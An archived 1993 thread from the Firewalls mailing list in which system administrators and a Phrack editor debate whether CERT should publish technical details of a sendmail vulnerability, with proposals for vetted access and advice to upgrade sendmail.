Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27645; Mon, 25 Oct 93 16:19:42 GMT Received: from whistler.sfu.ca by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27637; Mon, 25 Oct 93 09:19:34 PDT Received: from wizard.ucs.sfu.ca by whistler.sfu.ca (5.65/SFU-SUN-2.0H) id AA14752; Mon, 25 Oct 93 09:23:21 -0700 Received: by wizard.ucs.sfu.ca (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA02025; Mon, 25 Oct 93 09:23:19 PDT Date: Mon, 25 Oct 93 09:23:19 PDT From: richard@wizard.ucs.sfu.ca (Richard Chycoski) Message-Id: <9310251623.AA02025@wizard.ucs.sfu.ca> Received: by NeXT Mailer (1.63) To: firewalls@greatcircle.com Subject: Re: A short Dialogue Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Ken Jones writes: > My view is CERT is doing EXACTLY what is needed. That is informing > the masses as to possable security problems. I would expect that > you would turn to your UNIX vendor for more detailed information > instead of CERT. > > Just my .02 worth > And while we wait for two or three months while this very helpful Unix vendor gets around to figuring out if they have the bug, making and (hopefully) testing patches, our systems are wide open to the miscreants that *already* know about the holes. If we at least had enough information to test our own systems for the bug, we *might* be able to make an intelligent decision as to whether or not we should continue to leave a possibly vulnerable service available. Worse, if the code that we're running is not 'vendor supplied' (in our case the small amount of non-vendor supplied code is there because the vendor supplied code is inadequate to the task), we're left hung out to dry. I'm willing to let the *world* know about the leaks if it means that we at least have a chance of plugging the holes ourselves. As it is now, we have *no* chance of doing so for some critical parts of our systems. Having hard data on the things that can bite us can also make it easier to present a case for a firewall (or tighter firewall). Vague threats that *might* get us just don't have the same effect. Give us the information, the bad guys have already had it for MONTHS or YEARS by the time we hear about it from CERT! --- - Richard Chycoski richard@sfu.ca (NeXT Mail OK) Senior Systems Consultant Academic Computing Services Simon Fraser University From Firewalls-Owner Mon Oct 25 16:37:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27682; Mon, 25 Oct 93 16:37:13 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27674; Mon, 25 Oct 93 09:36:56 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 0659; Mon, 25 Oct 93 12:41:45 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 0658; Mon, 25 Oct 1993 12:38:17 -0400 Subject: Re: A short Dialogue To: firewalls@GreatCircle.COM From: "Andrew T. Robinson" Date: Mon, 25 Oct 93 12:22:44 EDT In-Reply-To: <9310250839.aa08500@duke.group1.com> Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >My view is CERT is doing EXACTLY what is needed. That is informing >the masses as to possable security problems. > This is certainly a necessary service, but... >I would expect that >you would turn to your UNIX vendor for more detailed information >instead of CERT. > That's fine of you have a homogenous unix environment and your vendor is responsive and accomodating (ha ha). But if you have IBMs, SUNs, neXTs, DECs, etc., possibly in an organization spanning a lot of physical geography, this is a very painful process. Perhaps one solution is a clearinghouse for security-related fixes to which all vendors can contribute. Ideally, these fixes would be cross-referenced with CERT and other advisories so a system administrator could ask "what fixes from all vendors address advisory xxx?" Perhaps this has already done. If so, show me to it! Andy From Firewalls-Owner Mon Oct 25 16:51:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27772; Mon, 25 Oct 93 16:51:24 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27764; Mon, 25 Oct 93 09:51:16 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA29240; Mon, 25 Oct 93 12:55:08 -0400 Received: from pages.UUCP by uucp6.uu.net with UUCP/RMAIL (queueing-rmail) id 125322.24255; Mon, 25 Oct 1993 12:53:22 EDT Received: from weasel by pages.com (NX5.67c/NX3.0M) id AA15709; Mon, 25 Oct 93 09:43:17 -0700 From: Sean Church Message-Id: <9310251643.AA15709@pages.com> Received: by weasel (NX5.67d/NX3.0X) id AA01456; Mon, 25 Oct 93 09:43:17 -0700 Date: Mon, 25 Oct 93 09:43:17 -0700 Received: by NeXT.Mailer (1.95) Received: by NeXT Mailer (1.95) To: firewalls@GreatCircle.COM Subject: Spastic paranoia on sendmail bug Reply-To: schurch@pages.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Maybe it's just me... I just joined this mailing list a short while ago, and had no clue that I was doomed to be flooded with "woe is me" e-mails about a security hole that CERT announced but will not release the details on. (Seems standard operating [procedure for CERT, whether good or bad. At least you know there's a problem....). Funny, the previous two weeks mail resembled requests for information on implementation of various security patches / apps... now, this weekend has shown a storm of "Game OVER! We're screwed!" e-mails. Get a grip. Focus. Find out what the problem is if your involved in that end, and find a fix. I realize that there is no way in hell I would post a note saying "Here's how your sendmail is screwed" to any mailing list. This information, though already know by a few folks with bad intent in their hearts, would be exploited by folks who had no clue about it previously, and not everyone out there is even aware that they may have a sendmail problem. My question is the following : How does one go about discovering what the true problem is, and how to fix it, concerning this sendmail hole? If there is no mechanism to do this from my level, then in this case do the folks at SUN release a patch to fix the problem? If that's the case, then I guess I have to live with it for a while. And, no, I do not like the thought of folks running amuck on the systems here, doing damage or gaining information that is privileged. Sean Church Pages Software Inc schurch@pages.com 9755 Clairemont Mesa Blvd. (619) 492-9050 x 221 San Diego, Ca. 92124 Systems Engineer, Network Administrator, chief cook and cable boy... From Firewalls-Owner Mon Oct 25 17:38:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27996; Mon, 25 Oct 93 17:38:07 GMT Received: from akasha.tic.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA27982; Mon, 25 Oct 93 10:37:54 PDT Received: by akasha.tic.com (5.65/akasha.m4.1.13) id AA15496; Mon, 25 Oct 93 12:41:44 -0500 Date: Mon, 25 Oct 93 12:41:44 -0500 From: erikb@tic.com (Chris Goggans) Message-Id: <9310251741.AA15496@akasha.tic.com> To: firewalls@greatcircle.com Subject: CERT, Bugs, & Paranoia Cc: phrack@well.sf.ca.us Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I've been watching the recent threads over this mail-list with great amusement. Those unsatisfied with the services provided by CERT are certainly understandable, and I would suggest you contact them immediately and ask for a full refund. Seriously though, CERT is often the butt of many a joke in the so-called "computer underground" for their lack of substantive information and the incredible lag in the dissemination of any information about newly discovered bugs to those who are in potential jeopardy. Whenever a bug begins to propogate around the community everyone knows its a matter of a few months (perhaps longer) before CERT sticks out an advisory about them, and once this has been done, everyone scrambles to make sense of the vague descriptions they provide. CERT has discovered a vulnerability in certain versions of the UNIX operating system in which users can get root privs with use of the su command.... I personally feel that such vague descriptions accomplish more hamr than good. I am of the mindset that these problems should be spread freely, providing EVERYONE with the ability to innoculate themselves rather than hope that someone takes pity upon them and lets them in on the bug. The argument that such information shouldn't be openly discussed because "bad guys" might get it is just plain stupid. Guess what folks, they (we) already have it. Its been that way as long as I can remember. ISIS, Zardoz, CORE and a score of others all were spread around the underground as soon as they came out. The secrecy of these lists a farce, as the information was being kept from system administrators but was readily available from you friendly neighborhood hacker. Now it would seem that those in the know keep the status quo and still hold fast to the belief that by restricting the information, they are indeed helping the situation. I can tell you from first hand experience (on both sides of the computer security fence) such tactics will be your undoing. Until all persons tasked with the operation of computer systems are given the tools they need to protect their company's investments (regardless of whether or not they are a member of the computer security good-old boy network) everyone will suffer. Just because one host admin is particularly clever, and has solved the problem of dealing with the latest bug, until every host has solved the same problem, who is to say that exploiting it on a foreign system will not ultimately lead to capturing information that would compromise all other systems? It strikes me as ironic that several persons on this list have noted (although probably only jokingly) that if they wanted to get a straight answer they would have to resort to reading 2600. In many cases, publications like 2600 and Phrack (which I edit) do spread precisely this kind of forbidden knowledge. I personally feel that if the knowledge of the problem is in more hands than those of a priviledged elite there is a greater possibility of correcting the situation. You may argue that "the bad guys" will get the information first, and byproviding them with such information I am a terrible person. Perhaps I am, but why aren't YOU taking advantage of all your resources to protect your company's investment? CERT is not the only source of information. There are mailing lists newsgroups, and many other forums to obtain information that can assist you in your oftimes frustrating jobs as sysadmins. And if you really want to start a change for the better, adjust your thinking patterns and begin to TALK to one another rather than hide behind a cloud of paranoia about who may be listening. ->ME From Firewalls-Owner Mon Oct 25 18:06:29 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA28095; Mon, 25 Oct 93 18:06:29 GMT Received: from relay1.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA28087; Mon, 25 Oct 93 11:06:09 PDT Received: from ghost.uunet.ca (via uunet.ca) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA10501; Mon, 25 Oct 93 14:09:10 -0400 Received: from elegant by mail.uunet.ca with UUCP id <101646(4)>; Mon, 25 Oct 1993 14:08:42 -0400 Received: by elegant (Smail3.1.28.1 #2) id m0orWHi-0003jYC; Mon, 25 Oct 93 14:04 EDT Message-Id: From: jmm@elegant.com (John Macdonald) Date: Mon, 25 Oct 1993 14:04:49 -0400 Newsgroups: mail.firewalls In-Reply-To: Organization: Elegant Communications Inc. X-Mailer: Mail User's Shell (7.2.4 2/2/92) To: firewalls@GreatCircle.COM Subject: Re: perry's gripe about CERT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk | Based on that assumption, by the time you receive a CERT advisory on a | security hole almost by definition that information is available to the | "cracker community" (unless the hole was uncovered by vendor or independent | testing). I am really surprised by this image, frequently expressed during this discussion, of a single co-ordinated "cracker community" that shares all security hole discoveries completely and widely throughout this entire community. How silly. Surely there are huge numbers of "cracker communities". Some of them will be "towns" that have some amount of communication with other "towns". Lots more will be "villages" that exchange (mostly accept) information with a few "towns". Most will be "nomads" that occassionally visit the odd "village" or "town". There will be a huge disparity is the quantity and quality of information exchanged. There will be enough of the community that doesn't want to be known as a member, enough that want to protect their "professional advantage" and lots of other reasons. A hole like the one in the CERT advisory is certainly known to some members of this "community" and has even been exchanged to many member of some of the "towns" and "villages". Broadcasting specific details will ensure that other "towns" find out those details or at least enough that they know the right questions to ask to get the specific details. It will allow a huge number of "nomads" to find out about the details and start considering what to do with it. Meanwhile, a few large sites will have been able to cover the hole, but huge numbers of other sites will still be waiting for their manufacturer to provide a patch, just as they would have done anyhow. While it is good practice in considering security issues to assume that "the enemy" knows everything when you are trying to decide what that enemy might do, it is not good practice to broadcast vulnerabilities to large numbers of potential enemies at least some of whom might not already know anything. So, the answer is not wide scale publication of all of the details of such problems. I feel that there should be an organization of well-qualified parties able to get better info, free to exchange it amongst themselves, and able to find out the low-level details that would help make the CERT advisories more useful (for example, the questions that Perry was asking are well worth determining and publicizing in the time between the initial advisory and the final "all of the manufacturers have had enough time to get fixes out so we can tell the world what it was" announcement). That of course leads to the question of who chooses the members, who pays the expenses and the like. I would guess that there are enough large groups with sufficiently large security concerns (like Perry's) that they could put together such an organization and fund it. -- That is 27 years ago, or about half an eternity in | John Macdonald computer years. - Alan Tibbetts | jmm@Elegant.COM From Firewalls-Owner Mon Oct 25 18:32:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA28190; Mon, 25 Oct 93 18:32:48 GMT Received: from wccs.psc.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA28175; Mon, 25 Oct 93 11:32:13 PDT Received: by wccs.psc.edu (5.65c/1.34) id AA01495; Mon, 25 Oct 1993 14:40:43 -0400 Date: Mon, 25 Oct 1993 14:40:43 -0400 From: fuller@wccs.psc.edu (Charles S. Fuller) Message-Id: <199310251840.AA01495@wccs.psc.edu> To: firewalls@greatcircle.com, netmaine@BITNIC.EDUCOM.EDU Subject: Re: A short Dialogue Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "Andrew T. Robinson" writes: > Perhaps one solution is a clearinghouse for security-related fixes > to which all vendors can contribute. [...] > Perhaps this has already done. If so, show me to it! You're right ... there IS such a thing: it's called "CERT". Vendors *can* contribute; many choose *not* to. - Chuck From Firewalls-Owner Mon Oct 25 18:51:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA28522; Mon, 25 Oct 93 18:51:17 GMT Received: from netcom3.netcom.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA28011; Mon, 25 Oct 93 10:40:10 PDT Received: by netcom3.netcom.com (5.65/SMI-4.1/Netcom) id AA22489; Mon, 25 Oct 93 10:44:38 -0700 Date: Mon, 25 Oct 93 10:44:38 -0700 From: koblas@netcom.com (David Koblas) Message-Id: <9310251744.AA22489@netcom3.netcom.com> To: firewalls@GreatCircle.COM Subject: In-Security mailing lists? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk So with all this discussion going on, about security and CERT etc. Does know of any good cracking mailing lists that I could subscribe to such that I can receive security problem information in a timely manor? --koblas@netcom.com From Firewalls-Owner Mon Oct 25 19:27:36 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA28790; Mon, 25 Oct 93 19:27:36 GMT Received: from ncar.UCAR.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA28782; Mon, 25 Oct 93 12:27:13 PDT Received: from niwot.scd.ucar.edu by ncar.ucar.EDU (5.65/ NCAR Central Post Office 03/11/93) id AA24455; Mon, 25 Oct 93 13:31:02 MDT Message-Id: <9310251931.AA05876@niwot.scd.ucar.EDU> Received: by niwot.scd.ucar.EDU (5.65/ NCAR Mail Server 04/10/90) id AA05876; Mon, 25 Oct 93 13:31:01 MDT Subject: Re: Re: a short dialogue To: firewalls@greatcircle.com Date: Mon, 25 Oct 93 13:31:00 MDT From: era@ncar.ucar.edu (Ed Arnold) Reply-To: era@ncar.ucar.edu (Ed Arnold) X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Dan Farmer wrote: > IMO, the current situation is rediculous, even from a vendor > standpoint. CERT will *NOT* give sun (or anyone else, as far as I know, > and I have asked for stuff repeatedly, unless they've recently changed > their stance on this issue) information on bugs unless they are certain > that they know that it affects a sun. That's rediculous -- *most* unix > bugs affect more than one OS. The BSD people didn't know if sendmail > was fucked by the latest bug until I sent it to eric allman this > morning. Why didn't CERT do this? I'll be sending it to HP soon (as > soon as I figure out who the bug person is over there) -- why do I have > to do this? Has CERT talked to any other vendors about this? Why > didn't CERT tell us/me about the convex login bug, or the HP NIS bug, or > any of the other unix security bugs that they've had advisories out on > recently? They certainly don't know as much about sunos than we do, but > they set themeselves up as information czars that won't hand anything > out unless *they* deem it proper. The last sentence is identical to my complaint. I have repeatedly called CERT when these "drop everything, have we got a bug for you" reports come out. They should know who I am (after repeated phone calls, and talking to their reps at conferences), and even if they don't, they have ways of verifying who I, and others at my site, are before giving out info. And they still won't do it. Should I conclude that (1) CERT is (justifiably?) paranoid, (2) CERT is lazy (too lazy to check me or anyone else out), or (3) I'm too nice to them when I call? From Firewalls-Owner Mon Oct 25 20:10:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29069; Mon, 25 Oct 93 20:10:17 GMT Received: from seas.smu.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA28953; Mon, 25 Oct 93 12:50:52 PDT Received: by seas.smu.edu (/\==/\ Smail3.1.28.1 #28.9) id ; Mon, 25 Oct 93 14:54 CDT Received: by seas.smu.edu (/\==/\ Smail3.1.28.1 #28.9 doug@hyper_f) id ; Mon, 25 Oct 93 14:54 CDT Message-Id: From: doug@seas.smu.edu (Doug Davis) Subject: Re: In-Security mailing lists? To: koblas@netcom.com (David Koblas) Date: Mon, 25 Oct 1993 14:54:40 -0500 (CDT) Cc: firewalls@GreatCircle.COM In-Reply-To: <9310251744.AA22489@netcom3.netcom.com> from "David Koblas" at Oct 25, 93 10:44:38 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1009 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > So with all this discussion going on, about security and CERT etc. > > Does know of any good cracking mailing lists that I could subscribe to > such that I can receive security problem information in a timely manor? Me Too! ;-) Seriously though, there are two types of "crackers" we all want to avoid. The "wannabe's" which restricting access to the information would help curb. And the serious super-cracker corporate raider type which knew the information in question already. The point is, however, CERT (or whomever) should make a policy change to allow those people that can reasonably identified as being the responsible party for an organization, either via the "whois" server or other methods, access to the information. Just my $0.02. __ SEAS Computer Operations -- Southern Methodist University doug@seas.smu.edu 3145 Dyer Street #116 Voice: 214-768-3066 FAX: 214-768-3883 Dallas Texas 75275 PPSEL-IA From Firewalls-Owner Mon Oct 25 20:26:06 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29346; Mon, 25 Oct 93 20:26:06 GMT Received: from d.ecc.engr.uky.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29337; Mon, 25 Oct 93 13:25:49 PDT Received: from s.ecc.engr.uky.edu by d.ecc.engr.uky.edu (5.59/25-eef) id AA07719; Mon, 25 Oct 93 15:47:10 EDT Received: by s.ecc.engr.uky.edu (4.1/SMI-4.1) id AA10107; Mon, 25 Oct 93 16:21:53 EDT Date: Mon, 25 Oct 93 16:21:53 EDT From: morgan@engr.uky.edu (Wes Morgan) Message-Id: <9310252021.AA10107@s.ecc.engr.uky.edu> To: firewalls@greatcircle.com Subject: CERT and information Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >I have repeatedly called CERT when these "drop everything, have we got >a bug for you" reports come out. They should know who I am (after >repeated phone calls, and talking to their reps at conferences), and even >if they don't, they have ways of verifying who I, and others at my site, >are before giving out info. And they still won't do it. Should I conclude >that (1) CERT is (justifiably?) paranoid, (2) CERT is lazy (too lazy to >check me or anyone else out), or (3) I'm too nice to them when I call? I'm reminded of the Western Union practice with money wires; the sender specifies some obscure question, which is then used to vet the recipient. (My dad used things like Mom's mother's maiden name or the name of my hamster.) I'm also reminded of the "verification codes" local radio stations used to verify "school's out" calls during the winter. Why couldn't CERT have a "contact list" like this? I give CERT (via some reasonably secure channel; we can't all do face-to-face) some piece of obscure information or passcode. I can then use that code to identify/verify myself when calling. This would be a *trivial* task if the database host is secure. I see no reason why CERT could not allow one point of contact per registered site/domain/network/whatever. I may be managing our own Class B network in a few months, and I *darned* well want to get in the chute early for info like this. --Wes From Firewalls-Owner Mon Oct 25 20:46:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29699; Mon, 25 Oct 93 20:46:04 GMT Received: from husc9.harvard.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29690; Mon, 25 Oct 93 13:45:54 PDT Date: Mon, 25 Oct 93 16:49:40 -0400 From: padwa@husc.harvard.edu Message-Id: <9310252049.AA11271@husc9.harvard.edu> To: firewalls@greatcircle.com Subject: The role of CERT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I think people are forgetting some of the concerns that CERT works under. Were I in their shoes, I would be pretty scared of announcing to the world "Hey everyone, you can break into any Sun by doing XXX". What happens when the ABC corporation (after getting trashed by someone who read said message) is looking for someone to sue?? I'd hate to be counsel for CERT in that situation. And what about all of the sites who's admins aren't on top of security issues?? My personal opinion is that CERT does a fine job.....at what it does. Recent discussions here indicate a popular desire for "more". I agree with this, but feel we should be careful about bashing CERT for failing to exceed its (extremely limiting) charter. Danny Padwa padwa@husc.harvard.edu The above opinions are not necessarily those of any of my employers, past or present. From Firewalls-Owner Mon Oct 25 20:49:21 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29763; Mon, 25 Oct 93 20:49:21 GMT Received: from lamb.sas.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29674; Mon, 25 Oct 93 13:45:12 PDT Received: from mozart by lamb.sas.com (5.65c/SAS/Gateway/10-28-91) id AA25719; Mon, 25 Oct 1993 16:48:59 -0400 Received: from scimitar.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA12419; Mon, 25 Oct 1993 16:45:43 -0400 Received: from localhost.unx.sas.com by scimitar.unx.sas.com (5.65c/SAS/Generic 9.01/3-26-93) id AA06752; Mon, 25 Oct 1993 16:45:42 -0400 Message-Id: <199310252045.AA06752@scimitar.unx.sas.com> To: firewalls@greatcircle.com Subject: Re: In-Security mailing lists? In-Reply-To: Your message of "Mon, 25 Oct 93 10:44:38 EDT." <9310251744.AA22489@netcom3.netcom.com> Date: Mon, 25 Oct 93 16:45:42 EDT From: djc@unx.sas.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Does know of any good cracking mailing lists that I could subscribe to > such that I can receive security problem information in a timely manor? You have to first certify that you are a real hacker :-) David Cherveny SAS Institute Inc Network Support From Firewalls-Owner Mon Oct 25 20:58:47 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29793; Mon, 25 Oct 93 20:58:47 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29781; Mon, 25 Oct 93 13:58:31 PDT Received: from relay.lehman.com by lehman.com (8.6.2/LB 0.1) id RAA21612; Mon, 25 Oct 1993 17:02:17 -0400 Received: from kublai.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA14994; Mon, 25 Oct 93 17:01:46 EDT Received: from snark.lehman.com by kublai.lehman.com (4.1/SMI-4.1) id AA07562; Mon, 25 Oct 93 17:01:45 EDT Date: Mon, 25 Oct 93 17:01:45 EDT From: pmetzger@lehman.com (Perry E. Metzger) Message-Id: <9310252101.AA07562@kublai.lehman.com> Received: by snark.lehman.com (4.1/SMI-4.1) id AA15123; Mon, 25 Oct 93 17:01:45 EDT To: firewalls@greatcircle.com Subject: more CERT paranoia Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Now I've read something that takes the cake. According to his own posting on comp.mail.sendmail, Eric Allman wasn't considered a "need to know" sort of guy by CERT. All he was told was that the bug wasn't in the latest version of his software. If they can't tell the author of the program what the bug is, it sort of makes you wonder who they would tell, or, indeed, what their purpose in life really is. Perry From Firewalls-Owner Mon Oct 25 21:12:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29927; Mon, 25 Oct 93 21:12:33 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29919; Mon, 25 Oct 93 14:12:18 PDT Received: by relay.tis.com; id AA15082; Mon, 25 Oct 93 17:13:32 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma015079; Mon Oct 25 17:12:58 1993 Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA15420; Mon, 25 Oct 93 17:15:22 EDT Received: by otter.TIS.COM (5.65/otter) id AA07930; Mon, 25 Oct 93 17:15:20 -0400 From: mjr@TIS.COM Date: Mon, 25 Oct 93 17:15:20 -0400 Message-Id: <7930.9310252115@otter.TIS.COM> To: firewalls@GreatCircle.COM, morgan@engr.uky.edu Subject: Re: CERT and information Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Why couldn't CERT have a "contact list" like this? I give CERT (via >some reasonably secure channel; we can't all do face-to-face) some >piece of obscure information or passcode. I can then use that code >to identify/verify myself when calling. This is what PEM and PGP, etc are supposed to give you. The issue isn't one of mechanism, it's one of policy. All the discussion that may take place here isn't going to change the policy. If CERT (and the jillions of other incident response teams and wannabees that have sprung up) prove to have outlived their usefulness then they'll evolve or perish. If you feel strongly one way or another then let them know, but don't kid yourself that an open discussion of the topic in the firewalls mailing list is going to change CERT's policy. Nor should it. mjr. From Firewalls-Owner Mon Oct 25 21:18:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29949; Mon, 25 Oct 93 21:18:52 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29940; Mon, 25 Oct 93 14:18:36 PDT Received: from relay.lehman.com by lehman.com (8.6.2/LB 0.1) id RAA21965; Mon, 25 Oct 1993 17:22:29 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA15316; Mon, 25 Oct 93 17:21:58 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA15151; Mon, 25 Oct 93 17:21:57 EDT Message-Id: <9310252121.AA15151@snark.lehman.com> To: firewalls@greatcircle.com Subject: Re: more CERT paranoia In-Reply-To: Your message of "Mon, 25 Oct 1993 14:08:40 PDT." <9310252108.AA29880@mycroft.GreatCircle.COM> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Mon, 25 Oct 1993 17:21:57 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Brent Chapman says: > pmetzger@lehman.com (Perry E. Metzger) writes: > > # Now I've read something that takes the cake. According to his own > # posting on comp.mail.sendmail, Eric Allman wasn't considered a "need > # to know" sort of guy by CERT. All he was told was that the bug wasn't > # in the latest version of his software. > # > # If they can't tell the author of the program what the bug is, it sort > # of makes you wonder who they would tell, or, indeed, what their > # purpose in life really is. > > It's my understand that Eric declined to have anything to do with > Sendmail for many years. It's only very recently (like, within the > last year or so) that he's started working on it again. Given that he's been furiously releasing new versions of the program for a while now, it would seem that he ought to know about security problems in it. In any case, I recommend to people who were in my position of having to worry about a firewall running sendmail that they upgrade to the new sendmail 8.6.3 -- it seems to be working fine, and although there is no way to confirm that it actually avoids the mysterious bug that must not be named, it has been claimed that it avoids it. It does connection caching and some other neat tricks, so it will probably lower the load on your firewall besides. Perry From Firewalls-Owner Mon Oct 25 14:36:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29895; Mon, 25 Oct 93 21:09:17 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA29880; Mon, 25 Oct 93 14:08:42 PDT Message-Id: <9310252108.AA29880@mycroft.GreatCircle.COM> To: pmetzger@lehman.com Cc: firewalls@greatcircle.com Subject: Re: more CERT paranoia In-Reply-To: Your message of Mon, 25 Oct 93 17:01:45 EDT Date: Mon, 25 Oct 1993 14:08:40 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk pmetzger@lehman.com (Perry E. Metzger) writes: # Now I've read something that takes the cake. According to his own # posting on comp.mail.sendmail, Eric Allman wasn't considered a "need # to know" sort of guy by CERT. All he was told was that the bug wasn't # in the latest version of his software. # # If they can't tell the author of the program what the bug is, it sort # of makes you wonder who they would tell, or, indeed, what their # purpose in life really is. It's my understand that Eric declined to have anything to do with Sendmail for many years. It's only very recently (like, within the last year or so) that he's started working on it again. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Mon Oct 25 22:05:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00262; Mon, 25 Oct 93 22:05:13 GMT Received: from mobil.com (mailgate.mobil.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00254; Mon, 25 Oct 93 15:05:06 PDT Received: from dal.mobil.com by mobil.com (4.1/SMI-4.1) id AA13192; Mon, 25 Oct 93 17:04:35 CDT Received: from drds03.dal.mobil.com by dal.mobil.com (4.1/SMI-4.1) id AA08651; Mon, 25 Oct 93 17:11:50 CDT Received: by drds03.dal.mobil.com (5.65/DEC-Ultrix/4.3) id AA09040; Mon, 25 Oct 1993 05:13:00 -0500 Date: Mon, 25 Oct 1993 05:13:00 -0500 From: jdlacour@dal.mobil.com (Jeffrey D. LaCoursiere) Message-Id: <9310251013.AA09040@drds03.dal.mobil.com> To: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT In-Reply-To: Mail from 'jmm@elegant.com (John Macdonald)' dated: Mon, 25 Oct 1993 14:04:49 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > So, the answer is not wide scale publication of all of the details of such problems. How about this - those people that have legitimate concerns about the security of their network but are unidentifiable by CERT could call CERT and have THEM perform the test of the bug. This allows CERT to keep the detailed info "secret", while letting the concerned party know if he/she needs a patch or not. This would probably need some kind of certification (no pun intended :-> ) by the concerned party so CERT does not get sued for attempted break in, I guess, but this solution would seem to answer most of the CERT flames I have seen go by... Jeff LaCoursiere Network Admin Mobil Research Facility Dallas, TX lacoursj@dal.mobil.com From Firewalls-Owner Mon Oct 25 22:22:54 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00390; Mon, 25 Oct 93 22:22:54 GMT Received: from hopi.dtcc.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00330; Mon, 25 Oct 93 15:14:34 PDT Received: by hopi.dtcc.edu (5.4R2.01/200.1.1.4) id AA07753; Mon, 25 Oct 1993 18:17:11 -0400 Date: Mon, 25 Oct 1993 18:10:10 -0400 (EDT) From: Ken Weaverling Subject: Re: In-Security mailing lists? To: David Koblas 